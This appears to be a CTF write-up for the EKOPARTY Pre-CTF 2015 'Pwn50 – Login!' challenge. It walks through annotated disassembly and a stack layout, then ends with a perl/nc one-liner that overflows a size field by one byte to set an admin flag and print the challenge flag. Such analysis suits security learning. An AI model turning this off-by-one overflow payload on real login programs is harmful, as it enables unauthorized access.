Description
Description: Are you admin?
nc challs.ctf.site 20000Attachment: pwn50
Resolution
Ok we first disassembled the file, this is the commented result (addresses were removed for more readability):
<+0>: push rbp
<+1>: mov rbp,rsp
<+4>: push rbx
<+5>: sub rsp,0xe8
<+12>: mov DWORD PTR [rbp-0xe4],edi
<+18>: mov QWORD PTR [rbp-0xf0],rsi
<+25>: mov rax,QWORD PTR fs:0x28
<+34>: mov QWORD PTR [rbp-0x18],rax
<+38>: xor eax,eax
<+40>: mov DWORD PTR [rbp-0xdc],0x0
<+50>: mov esi,0x400a04
<+55>: mov edi,0x400a06
<+60>: call 0x4006a0 <fopen@plt> ; fopen("flag.txt", "r")
<+65>: mov QWORD PTR [rbp-0xd8],rax
<+72>: cmp QWORD PTR [rbp-0xd8],0x0
<+80>: je 0x400947 <main+426> ; if fopen() failed goto end
<+86>: mov rdx,QWORD PTR [rbp-0xd8]
<+93>: lea rax,[rbp-0xa0] ; flag
<+100>: mov esi,0x20
<+105>: mov rdi,rax
<+108>: call 0x400670 <fgets@plt> ; fgets(&flag, flag)
<+113>: mov rax,QWORD PTR [rbp-0xd8]
<+120>: mov rdi,rax
<+123>: call 0x400620 <fclose@plt> ; fclose()
<+128>: lea rdx,[rbp-0xd0]
<+135>: mov eax,0x0
<+140>: mov ecx,0x5
<+145>: mov rdi,rdx
<+148>: rep stos QWORD PTR es:[rdi],rax
<+151>: mov rdx,rdi
<+154>: mov DWORD PTR [rdx],eax
<+156>: add rdx,0x4
<+160>: mov DWORD PTR [rbp-0xd0],0x11 ; username_size
<+170>: mov DWORD PTR [rbp-0xbc],0x10 ; password_size
<+180>: mov DWORD PTR [rbp-0xa8],0x0
<+190>: mov edi,0x400a0f
<+195>: mov eax,0x0
<+200>: call 0x400640 <printf@plt> ; printf("User :")
<+205>: mov edi,0x0
<+210>: call 0x400690 <fflush@plt>
<+215>: mov eax,DWORD PTR [rbp-0xd0]
<+221>: cdqe
<+223>: lea rdx,[rbp-0xd0] ; rdx = 0x7fffffffdd80 -> 0x11
<+230>: lea rcx,[rdx+0x4] ; rcx = 0x7fffffffdd84
<+234>: mov rdx,rax ; rdx = 0x11
<+237>: mov rsi,rcx ; rsi = 0x7fffffffdd84
<+240>: mov edi,0x0 ; rdi = 0x00
<+245>: call 0x400650 <read@plt> ; read(0, 0x7fffffffdd84, 17)
<+250>: mov edi,0x400a17
<+255>: mov eax,0x0
<+260>: call 0x400640 <printf@plt> ; printf("Password :")
<+265>: mov edi,0x0
<+270>: call 0x400690 <fflush@plt>
<+275>: mov eax,DWORD PTR [rbp-0xbc]
<+281>: cdqe
<+283>: lea rdx,[rbp-0xd0]
<+290>: lea rcx,[rdx+0x18]
<+294>: mov rdx,rax
<+297>: mov rsi,rcx
<+300>: mov edi,0x0
<+305>: call 0x400650 <read@plt> ; read(0, 0x00000000004008ce, 16)
<+310>: lea rax,[rbp-0xd0]
<+317>: add rax,0x4
<+321>: mov edx,0x6
<+326>: mov esi,0x400a23 ; "charly";
<+331>: mov rdi,rax
<+334>: call 0x400600 <strncmp@plt> ; strncmp(username, "charly", 6)
<+339>: test eax,eax
<+341>: jne 0x400945 <main+424>
<+343>: lea rax,[rbp-0xd0]
<+350>: add rax,0x18
<+354>: mov edx,0x8
<+359>: mov esi,0x400a2a ; "h4ckTH1s"
<+364>: mov rdi,rax
<+367>: call 0x400600 <strncmp@plt> ; strncmp(password, "h4ckTH1s", 8)
<+372>: test eax,eax
<+374>: jne 0x400945 <main+424>
<+376>: mov edi,0x400a33
<+381>: call 0x400610 <puts@plt> ; puts("Welcome guest")
<+386>: mov eax,DWORD PTR [rbp-0xa8]
<+392>: cmp eax,0x1 ; TODO !
<+395>: jne 0x400945 <main+424>
<+397>: lea rax,[rbp-0xa0] ; flag
<+404>: mov rsi,rax
<+407>: mov edi,0x400a42
<+412>: mov eax,0x0
<+417>: call 0x400640 <printf@plt> ; printf(flag)
<+422>: jmp 0x400951 <main+436>
<+424>: jmp 0x400951 <main+436>
<+426>: mov edi,0x400a55
<+431>: call 0x400610 <puts@plt> ; puts("Error leyendo datos") // Error reading data
<+436>: mov eax,0x0
<+441>: mov rbx,QWORD PTR [rbp-0x18]
<+445>: xor rbx,QWORD PTR fs:0x28
<+454>: je 0x40096a <main+461>
<+456>: call 0x400630 <__stack_chk_fail@plt>
<+461>: add rsp,0xe8
<+468>: pop rbx
<+469>: pop rbp
<+470>: ret
Ok, let’s see what’s going on here. The file flag.txt is opened, and its content is saved in ebp-0xa0.
Then at lines +160 and +170 are stored username and password sizes. We are then asked for our username and our password.
Our first 6 bytes of the username is compared to charly and our 8 first bytes of the password is compared to h4ckTH1s. If it’s correct, it prints Welcome guest. Then rbp-0xa8 is compared to 1. If it’s true, flag is printed, else it exists.
Our goal is to write 1 at rbp-0xa8
Let’s see our stack at this point :
+------------+ | size_user | RBP - 0xd0 +------------+ | | +------------+ | myUser\n | RBP - 0xcc +------------+ | | +------------+ | size_pass | RBP - 0xbc +------------+ | | +------------+ | myPass\n | RBP - 0xb8 +------------+ | | +------------+ | 00000000 | RBP - 0xa8 +------------+ | | | | | | | | RBP = 0x7fffffffde50 +------------+
This is what the stack looks like, given every information of our disassembled binary.
We can see that rbp-0xa8 is right after our password. Since our password must be 0x10 long, our null byte termination will overwrite rbp-0xa8 but it will still be 0x00, instead of 0x01.
Our username size limit is 0x11 though, and size_pass is stored 0x10 bytes after our username buffer. So we can overwrite size_pass with the 11th byte of our user ! We will overwrite it with 0x11 instead of 0x10.
One more byte is enough, this byte will be 0x01 to overwrite rbp-0xa8. This is what it looks like :
$ perl -e 'print "charlyaaaaaaaaaa\x11" . "h4ckTH1saaaaaaaa\x01"' > in.txt
$ nc challs.ctf.site 20000 < in.txt
User : Password : Welcome guest!
Your flag is : EKO{Back_to_r00000ooooo00000tS}
This is it, here is our flag
EKO{Back_to_r00000ooooo00000tS}
[EKOPARTY PRE-CTF 2015] [Pwn50 – Login!] Write Up